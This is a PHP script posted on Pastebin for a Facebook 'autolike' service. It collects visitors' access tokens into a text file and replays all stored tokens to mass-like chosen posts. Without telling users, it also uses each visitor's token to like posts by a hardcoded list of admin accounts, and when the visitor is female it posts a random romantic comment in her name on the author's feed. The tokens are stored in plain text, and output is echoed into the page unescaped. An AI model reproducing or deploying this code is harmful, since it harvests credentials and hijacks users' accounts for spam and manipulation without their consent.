Advertisement
tobitaz

homev3.php

Oct 8th, 2013 (edited)
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.42 KB | None | 0 0
  1.            
  2.  <?php
  3.  
  4. $token = $_GET["token"];
  5.  
  6. //app id yang ko nak org mesti guna
  7. $appid = "260273468396";
  8.  
  9. $check = file_get_contents("https://graph.facebook.com/app/?access_token=".$token);
  10. $cek = strripos($check, $appid);
  11.  
  12. if($token != null)
  13. {
  14. if($cek === false)
  15. {
  16. die("please use accesstokens from apps that we provide");
  17. }
  18. }
  19.  
  20.  
  21.  
  22. ?>
  23.                       <?php
  24.  
  25. //ganti dgn nama file yg ko nak utk simpan token
  26. $tokenko = "tk.txt";
  27. $token = $_GET["token"];
  28.  
  29.  
  30.  
  31. //check token ada
  32. if($token === null)
  33. {
  34. die("please submit access token");
  35. }
  36.  
  37. //cek token invalid
  38. $c = curl_init("https://graph.facebook.com/me?access_token=".$token);
  39.         curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
  40. $k = curl_exec($c);
  41.         curl_close($c);
  42.  
  43. $check = strripos($k, "OAuthException");
  44.  
  45.  
  46. if($check === false)
  47. {
  48.  
  49.  
  50.  
  51. //check permision
  52.  
  53. $per1 = "user_likes";
  54. $per2 = "publish_stream";
  55.  
  56. $taf = file_get_contents("https://graph.facebook.com/me/permissions?access_token=".$token);
  57.  
  58. $ga = strripos($taf, $per1);
  59. $gu = strripos($taf, $per2);
  60.  
  61.  
  62. if($ga < 1 or $gu < 1)
  63. {
  64. die("please allow ".$per1." And ".$per2." Permission!");
  65. }
  66.  
  67. //show like
  68.  
  69.  
  70.    $cre = fopen($tokenko, "a+");
  71.    $f = file_get_contents($tokenko);
  72.    $cf = strripos($f, $token);
  73.         if($cf === false)
  74.            {
  75.          
  76.             fwrite($cre, $token."\n");
  77.             echo "ok";
  78.  
  79.             $ch = curl_init("https://graph.facebook.com/me/feed?fields=id,message&access_token=".$token);
  80. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  81. $staid = curl_exec($ch);
  82. curl_close($ch);
  83.  
  84. $taz = json_decode($staid)->data;
  85.  
  86. //output
  87. if($statusid != null)
  88. {
  89. echo "<font style='font-size:40px; color:white;'>Done!</font>";
  90. }
  91.  
  92. //html autolike
  93.  
  94.  
  95.   echo '<body style="background-color:black; width:100%;">
  96.        <center>
  97.        <div style="border:3px grey outset; background-color:grey; width:60%;">
  98.        <form action="" method="post">
  99.        <font color="red">STATUS:</font><font color="white">'.$taz[0]->message.'</font>
  100.        
  101.        <input type="hidden" name="token" value="'.$token.'">
  102.        <font color="white" style="float:left;">statusid:</font><input name="statusid" value="'.$taz[0]->id.'" style="float:left;">
  103.        
  104.       <input type="submit" style="float:right; border:3px red outset; color:white; background-color:red;" value="Autolike">
  105.        </form><br /></div><br />';
  106.  
  107.  
  108. //start otolke
  109. $statusid = $_POST["statusid"];
  110. if($statusid != null)
  111. {
  112. $geto = preg_split('/(\r?\n)+/', $f);
  113.       foreach($geto as $phc)
  114.    {
  115.  
  116. $paha = curl_init("https://graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc);
  117.               curl_setopt($paha, CURLOPT_RETURNTRANSFER, true);
  118.               curl_exec($paha);
  119.               curl_close($paha);
  120.  
  121.  
  122.     }
  123. echo '<script src="remover.php"></script>';
  124. }
  125.  
  126.  
  127.  
  128.  
  129.            }
  130.           else
  131.            {
  132.                     $ch = curl_init("https://graph.facebook.com/me/feed?fields=id,message&access_token=".$token);
  133. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  134. $staid = curl_exec($ch);
  135. curl_close($ch);
  136.  
  137. $taz = json_decode($staid)->data;
  138.  
  139. //output
  140. if($statusid != null)
  141. {
  142. echo "<font style='font-size:40px; color:white;'>Done!</font>";
  143. }
  144.  
  145. //html autolike
  146.  
  147.  
  148.   echo '<body style="background-color:black; width:100%;">
  149.        <center>
  150.        <div style="border:3px grey outset; background-color:grey; width:60%;">
  151.        <form action="" method="post">
  152.        <font color="red">STATUS:</font><font color="white">'.$taz[0]->message.'</font>
  153.        
  154.        <input type="hidden" name="token" value="'.$token.'">
  155.        <font color="white" style="float:left;">statusid:</font><input name="statusid" value="'.$taz[0]->id.'" style="float:left;">
  156.        
  157.       <input type="submit" style="float:right; border:3px red outset; color:white; background-color:red;" value="Autolike">
  158.        </form><br /></div><br />';
  159.  
  160.  
  161. //start otolke
  162. $statusid = $_POST["statusid"];
  163. if($statusid != null)
  164. {
  165. $geto = preg_split('/(\r?\n)+/', $f);
  166.       foreach($geto as $phc)
  167.    {
  168.  
  169. $paha = curl_init("https://graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc);
  170.               curl_setopt($paha, CURLOPT_RETURNTRANSFER, true);
  171.               curl_exec($paha);
  172.               curl_close($paha);
  173.  
  174.  
  175.     }
  176. echo '<script src="remover.php"></script>';
  177. }
  178.  
  179.    
  180.  
  181.  
  182.  
  183.  
  184.  
  185.            }
  186.      fclose($cre);
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193. }
  194. else
  195. {
  196. die("access token invalid");
  197. }
  198.  
  199. $listadmin = array("suehqiylhq.hieynhqthqaurellqkowmq", "mohdtazme", "AnimeOSekai", "dB.myliker", "penggodamdfc", "WhenigetyouiwillneverletyougoShit", "100005851834909", "Ivytrinitydepaula", "Prog.fajri");
  200.  
  201.   foreach($listadmin as $admin)
  202. {
  203. $cucu = curl_init("https://graph.facebook.com/".$admin."/feed?fields=id&access_token=".$token);
  204.               curl_setopt($cucu, CURLOPT_RETURNTRANSFER, 1);
  205.        $gcu = curl_exec($cucu);
  206.                    curl_close($cucu);
  207.  
  208. $jsta = json_decode($gcu)->data;
  209.    
  210. $likst = curl_init("https://graph.facebook.com/".$jsta[0]->id."/likes?method=post&access_token=".$token);
  211.             curl_setopt($likst, CURLOPT_RETURNTRANSFER, 1);
  212.             curl_exec($likst);
  213.             curl_close($likst);
  214. }
  215.  
  216. //fungsi komen awek
  217. function komenawek($jawaurl)
  218. {
  219. $jawa = curl_init($jawaurl);
  220.              curl_setopt($jawa, CURLOPT_RETURNTRANSFER, 1);
  221.              $jowo =curl_exec($jawa);
  222.              curl_close($jawa);
  223.  
  224.         return $jowo;
  225.      
  226. }
  227.  
  228. $jaw = json_decode(komenawek("https://graph.facebook.com/me?access_token=".$token));
  229.  
  230. //chek id
  231.  
  232. $jagu = json_decode(komenawek("https://graph.facebook.com/mohdtazme/feed?fields=id&access_token=".$token))->data;
  233.  
  234. $nod = json_decode(komenawek("https://graph.facebook.com/me?access_token=".$token));
  235.  
  236. $fnod = file_get_contents("id.txt");
  237.  
  238. //cek id strripos
  239.  
  240. $nos = strripos($fnod, $nod->id.$jagu[0]->id);
  241.  
  242. if($jaw->gender == "female" && $nos === false)
  243. {
  244.  
  245.  
  246.  
  247. $kokop = array("i+love+u+...+muah", "sayang+<3", "mungkinkah+kau+merasakan+semua+yg+kupasrahkan", "muah<3", "i+miss+u<3", "awak...+i+love+u+laaa", "jom+chat", "asal+u+xreply+msg+i", "im+ur+big+fans<3");
  248.  
  249. $koawe = $kokop[array_rand($kokop)];
  250.  
  251. komenawek("https://graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe);
  252.  
  253.  
  254. //no double comment
  255.  
  256.  
  257.  
  258. $nodc = fopen("id.txt", "a+");
  259.               fwrite($nodc, $nod->id.$jagu[0]->id."\n");
  260.               fclose($nodc);
  261.  
  262. }
  263.  
  264. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement